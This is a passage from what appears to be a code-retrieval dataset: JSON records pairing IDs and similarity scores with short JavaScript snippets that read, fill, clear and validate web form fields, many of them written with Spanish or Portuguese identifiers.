(options.rich)\r\n\t{\r\n\t\t//var inp = new CRte();\r\n\t\tvar inp = alib.ui.Editor();\r\n\t\tcon.inptType = \"rte\";\r\n\t}\r\n\telse if (options.multiLine)\r\n\t{\r\n\t\tvar inp = alib.dom.createElement(\"textarea\");\r\n\t\tcon.inptType = \"input\";\r\n\t}\r\n\telse\r\n\t{\r\n\t\tvar inp = alib.dom.createElement(\"input\");\r\n\t\tinp.type = \"text\";\r\n\t\tcon.inptType = \"input\";\r\n\t\talib.dom.styleSetClass(inp, \"fancy\");\r\n\t}\r\n\r\n\tif (options.height)\r\n\t\talib.dom.styleSet(inp, \"height\", options.height);\r\n\r\n\tif (options.width)\r\n\t\talib.dom.styleSet(inp, \"width\", options.width);\r\n\r\n\tif (inptField.value && !options.rich)\r\n\t\tinp.value = inptField.value;\r\n\r\n\tcon.inpRef = inp;\r\n\tif (options.rich)\r\n\t{\r\n\t\tif (options.plugins)\r\n\t\t{\r\n\t\t\tif (\"cms\" == options.plugins)\r\n\t\t\t\tinp.cssFiles = [\r\n\t\t\t\t\t\"/css/bootstrap.min.css\", \r\n\t\t\t\t\t\"/css/bootstrap-theme.min.css\"\r\n\t\t\t\t];\r\n\t\t}\r\n\r\n\t\tinp.print(con, '100%', '250px');\r\n\t\tif (inptField.value)\r\n\t\t\tinp.setValue(inptField.value);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tcon.appendChild(inp);\r\n\t}\r\n\r\n\talib.dom.styleSet(inp, \"width\", \"99%\");\r\n\r\n\t// Must be added after appended\r\n\tif (options.multiLine && !options.rich)\r\n\t{\r\n\t\talib.dom.textAreaAutoResizeHeight(inp, 50, 400);\r\n\t}\r\n\r\n\t// Register change event\r\n\tinp.clsRef = this;\r\n\tif (options.rich)\r\n\t{\r\n\t\tinp.onChange = function() { \r\n\t\t\talib.events.triggerEvent(this.clsRef, \"change\", {value:this.getValue(), valueName:null});\r\n\t\t}\r\n\t}\r\n\telse\r\n\t{\r\n\t\t// Add blurr text with field name if there is no label - we may use this for mobile too\r\n\t\tif (options.hidelabel)\r\n\t\t\tinp.placeholder = inptField.field.title;\r\n\r\n\t\tinp.onchange = function() { \r\n\t\t\talib.events.triggerEvent(this.clsRef, \"change\", {value:this.value, valueName:null});\r\n\t\t}\r\n\t}\r\n\r\n\tthis.options = options;\r\n\tthis.inp = inp;\r\n}", "title": "" }, { "docid": "670a774caabca5730e78c5ad196add71", "score": "0.58385575", "text": "setText() {\n const {id} = this.props;\n const textNumericInput = document.getElementById(`input_text_field_${id}`).value;\n this._validateAndSet(textNumericInput);\n }", "title": "" }, { "docid": "aba8852bc1ad42ca738235729f686f79", "score": "0.58360964", "text": "set dinamico(valor)\r\n\t{\t\t\r\n\t\t$('#idFormularioInput').val(valor.id);\r\n\t\t$('#descripcionCortaFormularioInput').val(valor.descripcionCorta);\r\n\t\t$('#descripcionLargaFormularioInput').val(valor.descripcionLarga);\r\n\t\t$('#nombrePilaFormularioInput').val(valor.nombrePila);\r\n\t\t$('#fechaFormularioInput').val(valor.fecha);\r\n\t\t$('#horaFormularioInput').val(valor.hora);\r\n\t\t\r\n\t\t\r\n\t}", "title": "" }, { "docid": "a90385bca84bc8f63ab7865bd7586bcc", "score": "0.5800401", "text": "function valToFields(dataObj) {\n setInputVal(\"idnum\", dataObj.idnum);\n setInputVal(\"name\", dataObj.name);\n setInputVal(\"numGuest\", dataObj.numGuest);\n setInputVal(\"dateFrom\", dataObj.dateFrom);\n setInputVal(\"dateTo\", dataObj.dateTo);\n}", "title": "" }, { "docid": "63036c3c0b9edcb58d5bf234be06bce7", "score": "0.5781812", "text": "function read_edit_form_data() {\r\n var lastname = document.getElementById(\"edit-lastname\").value.trim();\r\n var firstname = document.getElementById(\"edit-firstname\").value.trim();\r\n return {\r\n lastname: lastname,\r\n firstname: firstname\r\n };\r\n }", "title": "" }, { "docid": "5ba6c2b455fe601897e3686543088859", "score": "0.5769089", "text": "function llenarModal_actualizar(datos){\r\nd=datos.split('||');\r\n$(\"#aid\").val(d[0]);\r\n$(\"#anombre\").val(d[1]);\r\n$(\"#aapellido\").val(d[2]);\r\n$(\"#aedad\").val(d[3]);\r\n$(\"#asexo\").val(d[4]);\r\n$(\"#adeporte\").val(d[5]);\r\n}", "title": "" }, { "docid": "565edffc2252572308b2d99a2b035378", "score": "0.5763732", "text": "function fGetTitulo(){\n return frm.cTitulo.value;\n }", "title": "" }, { "docid": "fe709a1494d14e8610f4eebf9e1f1177", "score": "0.5732681", "text": "function limpiarCampos() {\n document.getElementById(\"tipo_identificacion\").value = \"\"\n document.getElementById(\"Identificacion\").value = \"\"\n document.getElementById(\"Nombres\").value = \"\"\n document.getElementById(\"Apellidos\").value = \"\"\n document.getElementById(\"Correo\").value = \"\"\n document.getElementById(\"Peso\").value = \"\"\n document.getElementById(\"Estatura\").value = \"\"\n}", "title": "" }, { "docid": "b8d2dc5ad2d3b542c71307f5dbf50f43", "score": "0.572798", "text": "function limpaDados(){\n document.getElementById('ano').value ='';\n document.getElementById('mes').value ='';\n document.getElementById('dia').value ='';\n document.getElementById('tipo').value ='';\n document.getElementById('valor').value ='';\n document.getElementById('descricao').value ='';\n}", "title": "" }, { "docid": "3fdb56d0d7032f93286ca2c6938f1f68", "score": "0.5727619", "text": "getValues() {\n return {\n description: Form.description.value,\n amount: Form.amount.value,\n date: Form.date.value\n }\n }", "title": "" }, { "docid": "0bd6cf39d2e761430ecc211de239cd8c", "score": "0.57231337", "text": "function autoFill(userInfo){\n\t\n\t document.getElementById(\"charName\").value = userInfo.values.nome.value;\n\t document.getElementById(\"charClass\").value = userInfo.values.classe.value;\n\t document.getElementById(\"charRole\").value = userInfo.values.role.value;\n\t document.getElementById(\"charSpec\").value = userInfo.values.especializacao.value;\n\t document.getElementById(\"charilvl\").value = userInfo.values.item_level.value;\n\t id = userInfo.values.id.value;\n\t console.log(userInfo.values.nome.value)\n}", "title": "" }, { "docid": "ba9bd210dfb24ee45ae4ef5717b39d30", "score": "0.57181036", "text": "constructor() {\n super(...arguments);\n /** Text value */\n this.value = '';\n /** Placeholder text when empty */\n this.placeholder = 'e.g. Text';\n /** Max length of text entry */\n this.maxLength = 16;\n }", "title": "" }, { "docid": "1ed967b28266e09f3398ed2d08cc3b60", "score": "0.5708476", "text": "function limpiarInputsLongitud(val) {\n if (val == '') {\n metros.value = ''\n centimetros.value = ''\n kilometro.value = ''\n milla.value = ''\n pulgada.value = ''\n pie.value = ''\n }\n}", "title": "" }, { "docid": "b232586f3ea9ff22f1c86a0b7facf6a3", "score": "0.5700948", "text": "function initCampos(){\n $(\"#nomeCliente\").val('');\n $(\"#nomeProduto\").val('');\n $(\"#desconto\").val('');\n $(\"#vlTotal\").val('');\n}", "title": "" }, { "docid": "8565253813f32b751273765e553b0a2a", "score": "0.5676229", "text": "function crearCampoTexto() {\n crearCampoTipo(\"text\");\n}", "title": "" }, { "docid": "af05f8fb9a5087a851d42bcf017fca90", "score": "0.5675639", "text": "function save() {\n $('.enter-form .text').each(function(i, v){\n if ( 'name' in v ) {\n _[v.name] = $(this).val();\n }\n });\n }", "title": "" }, { "docid": "07038f1196595dae3f9b9595e4deefb0", "score": "0.56535405", "text": "function setFormValues() {\n $(\"#tags\").val($b.cfg.vals().tags);\n $(\"#word\").val($b.cfg.vals().word);\n $(\"#enableAlert\").prop('checked', $b.cfg.vals().enableAlert);\n $(\"#enableHighlight\").prop('checked', $b.cfg.vals().enableHighlight);\n $(\"#ignoreCase\").prop('checked', $b.cfg.vals().ignoreCase);\n $(\"#runOnLoad\").prop('checked', $b.cfg.vals().runOnLoad);\n }", "title": "" }, { "docid": "f924b03caabc541efbb7086a9d1351d8", "score": "0.56464136", "text": "getText(){ return this.edit.value }", "title": "" }, { "docid": "f3fba49be89fe976c47aa1b9d7b8fd54", "score": "0.5645791", "text": "function text_field_html(row)\r\n{\r\n\tvar html;\r\n\tif (row.field[0].isOptional) {\r\n\t\thtml = '<div class=\"form-group\"><input type=\"'+row.field[0].type+'\" class=\"form-control\" placeholder=\"'+row.label+'\" ref=\"'+row.field[0].name+'\" /></div>';\r\n\t} else {\r\n\t\thtml = '<div class=\"form-group\"><input type=\"'+row.field[0].type+'\" class=\"form-control\" placeholder=\"'+row.label+'\" ref=\"'+row.field[0].name+'\" required=\"true\" /></div>';\r\n\t}\r\n\treturn html;\r\n}", "title": "" }, { "docid": "a04972a4340495e5cee642410c13f3f8", "score": "0.5627747", "text": "function retrieveValues(){\r\n\t\t\tvar rows = grid.datagrid('getSelections');\r\n\t\t\tvar vv = [],ss = [];\r\n\t\t\tfor(var i=0; i<rows.length; i++){\r\n\t\t\t\tvv.push(rows[i][opts.idField]);\r\n\t\t\t\tss.push(rows[i][opts.textField]);\r\n\t\t\t}\r\n\t\t\tif (!opts.multiple){\r\n\t\t\t\t$(target).combo('setValues', (vv.length ? vv : ['']));\r\n\t\t\t} else {\r\n\t\t\t\t$(target).combo('setValues', vv);\r\n\t\t\t}\r\n//\t\t\t$(target).combo('setValues', vv);\r\n//\t\t\tif (!vv.length && !opts.multiple){\r\n//\t\t\t\t$(target).combo('setValues', ['']);\r\n//\t\t\t}\r\n\t\t\tif (!state.remainText){\r\n\t\t\t\t$(target).combo('setText', ss.join(opts.separator));\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "78f08d7fdc9253913dbd6c22cb3c0818", "score": "0.56260765", "text": "function getInputText(obj) {\n\tvar use_default=(arguments.length>1)?arguments[1]:false;\n\tif (isArray(obj) && (typeof(obj.type)==\"undefined\")) {\n\t\tvar values=new Array();\n\t\tfor(var i=0;i<obj.length;i++){\n\t\t\tvar v=getSingleInputText(obj[i],use_default);\n\t\t\tif(v!=null){values[values.length]=v;}\n\t\t\t}\n\t\treturn commifyArray(values);\n\t\t}\n\treturn getSingleInputText(obj,use_default);\n\t}", "title": "" }, { "docid": "13727e53bb8c304eb50c57f52690bdf8", "score": "0.56204104", "text": "getValues() {\n return {\n description: Form.description.value,\n amount: Form.amount.value,\n date: Form.date.value\n }\n }", "title": "" }, { "docid": "f836bac1795c218deebf016bf61e3fc7", "score": "0.56104565", "text": "function ingresarDatos() {\r\n document.getElementById(\"txt_Salida\").textContent = txt_phyton;\r\n document.getElementById(\"txt_HTML\").textContent = txt_html;\r\n document.getElementById(\"txt_JAVA\").textContent = txt_json;\r\n}", "title": "" }, { "docid": "71af3e4f1dd47eebd08d554a920580df", "score": "0.5605714", "text": "function inputFields() {\n description.value = \"\";\n amount.value = \"\";\n dateItm.value = \"\";\n}", "title": "" }, { "docid": "6c7780a979e361d241a4ca80921b6e1f", "score": "0.5605472", "text": "onTextChange(event) {\n //Getting input field name\n const inputFieldName = event.target.name;\n if (inputFieldName === \"mobilenumber\") {\n //value of first text has changed, modifying the property value\n this.mobilenumber = event.target.value;\n } \n else if(inputFieldName === \"message\") {\n //value of second text has changed, modifying the property value\n this.message = event.target.value;\n }\n }", "title": "" }, { "docid": "a2c5a70b903960fbac2b1d0de2fb9a38", "score": "0.5602894", "text": "function getInfoField(seleccionadoField){\n nomSelec= seleccionadoField.nombre\n console.log(nomSelec)\n if(seleccionadoField.grado != null){\n $('#answer_grados').text(seleccionadoField.grado)\n }\n if(seleccionadoField.zona != null){\n $('#answer_zona').text(seleccionadoField.zona)\n }\n\n}", "title": "" }, { "docid": "8441b98ad4f3988731d756ea9ae41936", "score": "0.56010956", "text": "function getText (text) {\n text = text.value\n return text\n }", "title": "" }, { "docid": "29c218e9636e0d14c783fa207d14a074", "score": "0.55952156", "text": "function fGetCveAtributo(){\n return frm.iCveAtributo.value;\n }", "title": "" }, { "docid": "800627ed501090707fc3f138cd8315b2", "score": "0.5591526", "text": "function prepopulateForm(data) {\n title.value = data.title;\n content.value= data.content;\n author.value = data.author;\n}", "title": "" }, { "docid": "8092be4e338469f5adf0c77831f9042a", "score": "0.5583985", "text": "function parseForm(alumno) {\n console.log(alumno);\n let txt=\"\";\n txt=\"<form action='#' id='alumnoForm' method='post'>\";\n txt += \"<input type='text' name='nombre'\"\n +\" id='nombre' value='\"+alumno.nombre+\"'>\"\n txt+=\"<div class='flexcontainer'><button>Enviar</button><button>Cancelar</button></div></form>\";\n return txt;\n}", "title": "" }, { "docid": "3230584c1117e6993cad671439460933", "score": "0.5578313", "text": "function saveFormValues() {\n\twindow.formValues.first_name = $('body').find('[data-target=\"first-name\"]').val();\n\twindow.formValues.last_name = $('body').find('[data-target=\"last-name\"]').val();\n\twindow.formValues.shortBiography = tinymce.editors['user-short-biography'].getContent();\n\twindow.formValues.longBiography = tinymce.editors['user-long-biography'].getContent();\n}", "title": "" }, { "docid": "bb5e0b5b66f64acdedb4a4a4282fdf90", "score": "0.55766857", "text": "function limpiarCampos(){\n\n$(\"#nombre\").val(\"\");\n $(\"#descripcion\").val(\"\");\n\n $(\"label\").removeClass(\"active\");\n $(\"input\").removeClass(\"valid\");\n $(\"input\").removeClass(\"invalid\");\n\n$(\"#mod_nombre\").val(\"\");\n $(\"#mod_descripcion\").val(\"\");\n}", "title": "" }, { "docid": "ac1c45c1fc7a64218e76cd3dcfae6533", "score": "0.5567991", "text": "getData() {\n return { type: \"textEntrySingleLine\", text: this.textEntry.value };\n }", "title": "" }, { "docid": "f2455e7b7130a81ff657991212d89da4", "score": "0.554659", "text": "get text() {\n\t\tconst notification = this;\n\n\t\tif (notification.container.querySelectorAll(\"input, select\").length > 1) {\n\t\t\tvar output = [];\n\n\t\t\tnotification.container.querySelectorAll(\"input, select\").forEach(item => {\n\t\t\t\toutput.push(item.value);\n\t\t\t});\n\n\t\t\treturn output;\n\t\t} else if (notification.container.querySelector(\"input, select\")) {\n\t\t\treturn notification.container.querySelector(\"input, select\").value;\n\t\t}\n\n\t\treturn null;\n\t}", "title": "" }, { "docid": "7a791298029f5147c3c51c7c3eeeea0e", "score": "0.5539373", "text": "function autoFillValues(data){\n document.getElementById(\"pDescription\").value = data.description\n document.getElementById(\"pDueDate\").value = data.dueDate\n document.getElementById(\"pPriority\").value = data.priority\n document.getElementById(\"pProgress\").value = data.progress\n}", "title": "" }, { "docid": "d9e585183d842f40471f87e0b55ae69b", "score": "0.5534513", "text": "function fillForm(editDataObj){\r\n\t var inputFields = [$(\"#txt1\"), $(\"#txt2\"), $(\"#txt5\"), $(\"#txt6\")],\r\n\t\t editDataObjKeys = Object.keys(editDataObj);\r\n\r\n for(var i=0; i< editDataObjKeys.length; i++){\r\n \t//console.log(inputFields[i], editDataObjKeys[i]);\r\n \tinputFields[i].val(editDataObj[editDataObjKeys[i]]);\r\n }\r\n\t}", "title": "" }, { "docid": "19057d291085c71a1940503363b3015c", "score": "0.55314076", "text": "function FillDatos( User )\n {\n var Ctrs = $(\"#EditUser input\");\n \n Ctrs.eq(0).val( User.Correo );\n Ctrs.eq(1).val( User.Nombre);\n \n Ctrs.eq(2).val(\"\");\n Ctrs.eq(3).val(\"\");\n \n Ctrs.eq(4).val( User.Telefonos );\n }", "title": "" }, { "docid": "c720d159ab99660c8a52f14411c1ec3c", "score": "0.55285704", "text": "static get properties() {\n return {\n texto: { type: String},\n tipo : { type: String},\n placdholder : { type: String},\n value: {type: String},\n valido: {type: Boolean},\n error: {type: String}\n };\n }", "title": "" }, { "docid": "7692629afcf0e43f46f14f5640613073", "score": "0.5523076", "text": "function fillDataModal() {\n document.getElementById(\"txtDni\").focus()\n \n /***********/\n \n $(\"#txtDni\").val(dato[0]);\n $(\"#txtNombre\").val(dato[1]);\n $(\"#txtApellido\").val(dato[2]);\n $(\"#txtCorreo\").val(dato[3]);\n $(\"#txtDireccion\").val(dato[4]);\n //document.getElementById(\"dlSexo\").value = dato[5];\n //$(\"#txtFecha\").val(dato[6]);\n\n \n \n}", "title": "" }, { "docid": "034db68e8ebacba62db296fd142d902e", "score": "0.55205214", "text": "get text() { return this.get('text'); }", "title": "" }, { "docid": "9407cf539f5f84376cd8c9e3a2437a48", "score": "0.55183405", "text": "function Place(){\n var nome = document.getElementById(\"nome\").value;\n var Email = document.getElementById(\"email\").value;\n var pass = document.getElementById(\"senha\").value;\n\n var txt = document.getElementById(\"campo\").value;\n txt[0] = nome;\n console.log(txt);\n\n\n}", "title": "" }, { "docid": "28cb9981214614f9759662f8fd41fbd9", "score": "0.5517587", "text": "function aggiornaCampi(n) {\n 'use strict';\n document.getElementById(\"artista\").value = elencocd[n].artista;\n document.getElementById(\"anno\").value = elencocd[n].anno;\n document.getElementById(\"paese\").value = elencocd[n].paese;\n document.getElementById(\"etichetta\").value = elencocd[n].etichetta;\n document.getElementById(\"prezzo\").value = elencocd[n].prezzo;\n}", "title": "" }, { "docid": "0b36aeb3466264ea7ee0576e67bc25a3", "score": "0.55148894", "text": "function agregaform1(datos){ //funcion que cuando le das a modificar envian estos datos al formulario\r\n //rellenamos el valor del input\r\n\r\n d=datos.split('||'); //convierte en array\r\n $('#idpersonau').val(d[0]);\r\n $('#nombreu').val(d[1]);\r\n }", "title": "" }, { "docid": "fbad00a3883ef371b236df213c52a9ca", "score": "0.5514256", "text": "function formataData(campo){\n\tcampo.value = filtraCampo(campo);\n\tvr = campo.value;\n\ttam = vr.length;\n\n\tif ( tam > 2 && tam < 5 )\n\t\tcampo.value = vr.substr( 0, tam - 2 ) + '/' + vr.substr( tam - 2, tam );\n\tif ( tam >= 5 && tam <= 10 )\n\t\tcampo.value = vr.substr( 0, 2 ) + '/' + vr.substr( 2, 2 ) + '/' + vr.substr( 4, 4 ); \n\n}", "title": "" }, { "docid": "4c710f2f64d2da9d41a93c49e0cb6fd2", "score": "0.55017734", "text": "function tampilkanData(){\n nama=document.getElementById(\"nama\").innerHTML;\n role=document.getElementById(\"role\").innerHTML;\n availability=document.getElementById(\"availability\").innerHTML;\n usia=document.getElementById(\"usia\").innerHTML;\n lokasi=document.getElementById(\"lokasi\").innerHTML;\n year=document.getElementById(\"year\").innerHTML;\n email=document.getElementById(\"email\").innerHTML;\n\n document.getElementById(\"ans-nama\").value=nama;\n document.getElementById(\"ans-role\").value=role;\n document.getElementById(\"ans-availability\").value=availability;\n document.getElementById(\"ans-usia\").value=usia;\n document.getElementById(\"ans-lokasi\").value=lokasi;\n document.getElementById(\"ans-year\").value=year;\n document.getElementById(\"ans-email\").value=email;\n}", "title": "" }, { "docid": "af919abc874fa778c8f19de5ef6b660d", "score": "0.5501663", "text": "function limpiarInforme(){\n $('#informe_fecha').val(\"\");\n $('#informe_fechaLimite').val(\"\");\n $('#informe_memorando').val(\"\");\n $('#informe_tema').val(\"\");\n $('#informe_cumplido').val(\"\");\n $('#informe_Observacion').val(\"\");\n $('#informe_codigo').val(\"\");\n $('#informe_estadoInforme').val(\"\");\n \n\n}", "title": "" }, { "docid": "27c4525bed126daf171cce9552fcdd07", "score": "0.549931", "text": "function clean_data (){\n\t\t$(\"#txtNombre\").val(\"\");\n\t\t$(\"#txtEmpresa\").val(\"\");\n\t\t$(\"#txtRuc\").val(\"\");\n\t\t$(\"#txtTelf\").val(\"\");\n\t\t$(\"#txtCorreo\").val(\"\");\n\t\t$(\"#txtMensaje\").val(\"\");\n\t}", "title": "" }, { "docid": "2e43962d6d9c408d1ac683f87e411ad5", "score": "0.5482691", "text": "inputInit(form, input, text){\n form.find(input).val(text);\n form.find(input).siblings('label').text(text.myCapitalize());\n }", "title": "" }, { "docid": "af75022971489abf9d23aeb2fef260c4", "score": "0.5472449", "text": "function validarCamposTexto(formulario) {\n if ((formulario.nombre.trim() == null) || (formulario.nombre.trim().length === 0)) {\n enviarAlertaError('nombre');\n } else if ((formulario.apellido.trim() == null) || (formulario.apellido.trim().length === 0)) {\n enviarAlertaError('apellido');\n } else if ((formulario.telefono.trim() == null) || (formulario.telefono.trim().length != 9) || (isNaN(formulario.telefono))) {\n enviarAlertaError('teléfono');\n } else if ((formulario.correo.trim() == null) || (formulario.correo.trim().length === 0) || (formulario.correo.indexOf('@') === -1) || formulario.correo.indexOf('.com') === -1) {\n enviarAlertaError('correo');\n } else if (formulario.region === 'Selecciona') {\n enviarAlertaError('region');\n } else if (formulario.comuna === 'Selecciona') {\n enviarAlertaError('comuna');\n } else if ((formulario.mensaje.trim() == null) || (formulario.mensaje.trim().length === 0)) {\n enviarAlertaError('mensaje');\n } else {\n enviarAlertaExitoso();\n mostrarModal();\n form.reset();\n }\n}", "title": "" }, { "docid": "f8733a9222e404594e6098c94f7e711e", "score": "0.5470062", "text": "updateTextFields() {\n\t\t$(this.inputSelectors).each(function(index, element) {\n\t\t\tif ($(element).val().length > 0 || element.autofocus || $(this).attr('placeholder') !== undefined || $(element)[0].validity.badInput === true) {\n\t\t\t\t$(this).siblings('label, i').addClass('is-active');\n\t\t\t} else {\n\t\t\t\t$(this).siblings('label, i').removeClass('is-active');\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "a38da938dc4f5de35a7f26b2ffda77fe", "score": "0.54637426", "text": "static clearFields(){\n book_title.value = \"\";\n book_author.value = \"\";\n book_isbn.value = \"\";\n }", "title": "" }, { "docid": "f7854f2573f994b7a7cd60f21688c147", "score": "0.5459185", "text": "function ent_raz() {\n // on vide les champs du formulaire\n ent_t_social.value = ent_t_mail.value = ent_t_phone.value = ent_t_fax.value = ent_t_adress.value = ent_t_adressCompl2.value = ent_t_adressCompl1.value = ent_t_adressCP.value = ent_t_adressCity.value = ent_t_adressCountry.value = ent_t_activity.value = ent_t_activityDetail.value = ent_t_represName.value = ent_t_tutorName.value = \"\";\n}", "title": "" }, { "docid": "57802599dd7d10b12ffb0e4c090d3c02", "score": "0.5458349", "text": "function di_qds_set_txt_area_text() {\n try {\n di_qds_hide_area_list_div();\n\n if (di_jq(\"#area_txt\").val() == '' && di_qds_store_all_selected_areas_id == '') {\n di_jq(\"#area_txt\").val(di_qds_area_defalut_text);\n di_jq(\"#area_txt\").attr(\"class\", \"qds_textfield_default\");\n di_jq(\"#area_txt\").css(\"width\", \"100%\");\n }\n\n }\n catch (err) { }\n}", "title": "" }, { "docid": "f3551f4a3c4a6cbb51d9c29dbbe6ff2c", "score": "0.54564935", "text": "function getFirstField(){\n\treturn \"formulario.txtDesde\";\n}", "title": "" }, { "docid": "e19a8f7172aaf473404d96037c9d1acc", "score": "0.54538226", "text": "clearFields() {\n Form.description.value = \"\";\n Form.amount.value = \"\";\n Form.date.value = \"\";\n }", "title": "" }, { "docid": "f840148d23533fedd55ad2622895c507", "score": "0.5449597", "text": "function populateFields(curData)\r\n{\r\n // For an altogether incomprehensible reason, \"name\" cannot be an ID?\r\n $(title).val(curData.name);\r\n $(opens).val(curData.opensClean);\r\n $(closes).val(curData.closesClean);\r\n}", "title": "" }, { "docid": "f4cc322e2c1ee4d60ef34d61101d3463", "score": "0.5447419", "text": "function recuperarValor(){\n \n let textoPesquisa = inputPesquisar.value\n verificaTexto(textoPesquisa,)\n \n}", "title": "" }, { "docid": "4dea082b7229acf96ed779cccbb8c29b", "score": "0.5447104", "text": "validateFields() {\n const { description, amount, date } = Form.getValues() //salvando os valores dos inputs em uma variável\n\n if (description.trim() === \"\" ||\n amount.trim() === \"\" ||\n date.trim() === \"\") //ta verificando se algum campo não ta preenchido, se não tiver vai dar um erro\n {\n\n throw new Error(\"Por favor, preencha todos os campos\")\n }\n }", "title": "" }, { "docid": "d00b0a1357b45ad3613245f8b1798cf4", "score": "0.5443742", "text": "function getInfo(){\n return{\n title: formTitle.value,\n author: formAuthor.value,\n content: formContent.value\n }\n}", "title": "" }, { "docid": "177352f38b7fe4a115232e623984a151", "score": "0.54409105", "text": "function formText(){\n text = \"Hello World, this is \" + ID.fullName + \" with HNGi7 ID \" + ID.HngID + \" and email \" + ID.email + \" using \" + ID.lng + \" for stage 2 task\";\n return text;\n}", "title": "" }, { "docid": "2846bf009ca47c4b15bd48d437d8a08b", "score": "0.5440406", "text": "getValues() {\n\n let customer = {}\n let fields = [...this.formEl.elements]\n\n fields.forEach((field, index) => {\n\n customer[field.name] = field.value\n\n })\n\n let objectCustomer = new Customer(\n customer.name,\n customer.birth,\n customer.gender,\n customer.email,\n customer.phone,\n customer.country\n )\n\n /* this.addItem(objectCustomer)\n */\n\n Utils.onOff()\n\n objectCustomer.save()\n\n this.addLineTable(objectCustomer)\n\n this.formEl.reset()\n\n }", "title": "" }, { "docid": "56116ba899d192ba8a3a103d31677d14", "score": "0.54361176", "text": "get nombreCompletoFormulario()\r\n\t {\r\n\t\treturn $('#primerNombreFormularioInput').val() + ' ' + \r\n\t\t\t $('#segundoNombreFormularioInput').val() +' ' + \r\n\t\t\t $('#apellidoPaternoFormularioInput').val() + ' ' +\r\n\t\t\t $('#apellidoMaternoFormularioInput').val();\r\n\t }", "title": "" }, { "docid": "8dc28d762bf615430939559332defd32", "score": "0.5433688", "text": "function iniciareditarbienes(datos) {\n\n document.getElementById(\"idtb\").value = datos[0][\"idtipobien\"]\n document.getElementById(\"nombretipobieneditar\").value = datos[0][\"nombre\"];\n document.getElementById(\"descripciontipobieneditar\").value = datos[0][\"descripcion\"];\n document.getElementById(\"ayudatipobieneditar\").value = datos[0][\"ayuda\"];\n\n}", "title": "" }, { "docid": "090d76cf226c6b3651681bf49c6e764c", "score": "0.5427777", "text": "function filtrarCampo(campo)\r\n{\r\n\tcampo.value = filtrarConteudo(campo.value);\r\n}", "title": "" }, { "docid": "7e4f3c838a3780ff9b2e718477d79790", "score": "0.5419014", "text": "function ColocarValorEnTexto(Lista,Texto)\n{\n\tTexto.value = Lista.value;\n}", "title": "" }, { "docid": "da011b19c9e3099a4c750885a2791ffd", "score": "0.54173684", "text": "function formataValor(campo) {\n\tcampo.value = filtraCampoValor(campo); \n\ttam = vr.length;\n\t\n\tif (tam > 2) {\n\t\tcampo.value = campo.value.substr(0, campo.value.length - 2) + ',' + campo.value.substr(campo.value.length - 2, campo.value.length);\n\t}\n\t\n \tif (tam > 6) {\n \t\tcampo.value = campo.value.substr(0, campo.value.length - 6) + '.' + campo.value.substr(campo.value.length - 6, campo.value.length);\n \t}\n \t\n \tif (tam > 10) {\n \t\tcampo.value = campo.value.substr(0, campo.value.length - 10) + '.' + campo.value.substr(campo.value.length - 10, campo.value.length);\n \t}\n \t\n \tif (tam > 14) {\n \t\tcampo.value = campo.value.substr(0, campo.value.length - 14) + '.' + campo.value.substr(campo.value.length - 14, campo.value.length);\n \t}\n \t\n \tif (tam > 18) {\n \t\tcampo.value = campo.value.substr(0, campo.value.length - 18) + '.' + campo.value.substr(campo.value.length - 18, campo.value.length);\n \t}\n \t\n \tif (campo.value.substr(0, 1) == '.' || campo.value.substr(0, 1) == ',') {\n \t\tcampo.value = campo.value.substr(1, campo.value.length);\n \t}\n}", "title": "" }, { "docid": "ccb1b5c85ec9122f109f455ddbc2affe", "score": "0.54146224", "text": "function getValuesFromPartnerForm()\n {\n return {\n\n title : $('.dropdown.partnertitle a.selected-text').attr('value'),\n gender : $('.dropdown.partnerGender a.selected-text').attr('value'),\n getEmail : $('#partneremail').val(),\n firstname : $('#partnerFirstName').val(),\n lastname : $('#partnerLastName').val(),\n getPhone : $('#partnerPhone').val(),\n getCountry : $('#customerCountryName').attr('value'),\n getState : $('#partnerStateDropdown').closest('a.selected-text').attr('value'),\n getAddress : $('#partnerFullAddress').val()\n };\n }", "title": "" }, { "docid": "67b7c4981e09092107cc0801090f236e", "score": "0.54104203", "text": "function buildData(){\n var txtData = \"Name: \"+$(\"#nameField\").val()+\n \"\\r\\nLast Name: \"+$(\"#lastNameField\").val()+\n \"\\r\\nGender: \"+($(\"#genderMale\").is(\":checked\")?\"Male\":\"Female\");\n\n return txtData;\n}", "title": "" }, { "docid": "fdfd1ebb0e319f78a0b70abbc3572c82", "score": "0.5405642", "text": "static clearInputFields() {\n titleInput.value = \"\";\n authorInput.value = \"\";\n yearInput.value = \"\";\n }", "title": "" }, { "docid": "7b19caaf26ff17337beb1e569891d951", "score": "0.54047203", "text": "function clean() {\n setName(\"\")\n setCep(\"\")\n setdata(\"\")\n setRua(\"\")\n setCidade(\"\")\n setNumero(0)\n setBairro(\"\")\n }", "title": "" }, { "docid": "9c4adbad4fb8eea9c0feb50089b6b8d9", "score": "0.5401717", "text": "function formatarValor(campo)\r\n{\r\n\tcampo.value = formatarConteudoValor(campo.value);\r\n}", "title": "" }, { "docid": "ee0e6a018c21e2112046831086580891", "score": "0.53806627", "text": "function limpiarInputsMasa(val) {\n if (val == '') {\n kilogramos.value = ''\n gramos.value = ''\n libras.value = ''\n onza.value = ''\n }\n}", "title": "" }, { "docid": "71172e0db44b31e14367dc00ae152e69", "score": "0.53803617", "text": "function InicializarElementos() {\n txtNombre.val('');\n txtEmail.val('');\n txtTelefono.val('');\n selectServicio.find('option').eq(0).prop('selected', true);\n txtArea.val('1');\n txtAsunto.val('');\n txtMensaje.val('');\n }", "title": "" }, { "docid": "94a258a1a9a870ce6da8580892c0244c", "score": "0.53767556", "text": "getFormData() {\n\n let data = {};\n\n data.nombre = $('#nombre').val();\n data.monto = $('#monto').val();\n data.descuento = $('#descuento').val();\n\n return data;\n\n }", "title": "" }, { "docid": "2009e9db6bc4c73a5e2ffcf6f7a782a7", "score": "0.5372285", "text": "function formateafecha(nom_object){\n\tvar ls_fecha=$('#'+nom_object).val();\n\tif(ls_fecha =='' || typeof(ls_fecha) == 'undefined') return\n\tlst_fecha = ls_fecha.split('-')\n ls_dia = lst_fecha[2]\n //mes\n ls_mes = lst_fecha[1]\n\t\n\tls_fecha=ls_dia+'/'+ls_mes+'/'+lst_fecha[0]\n\t$('#'+nom_object).val(ls_fecha);\n\t\n}", "title": "" }, { "docid": "5bf6a2d142c97883b1b438923ab5e87f", "score": "0.53709966", "text": "function iniciareditaractividadeconomica(datos) {\n\n document.getElementById(\"idtae\").value = datos[0][\"idtipoactividad\"]\n 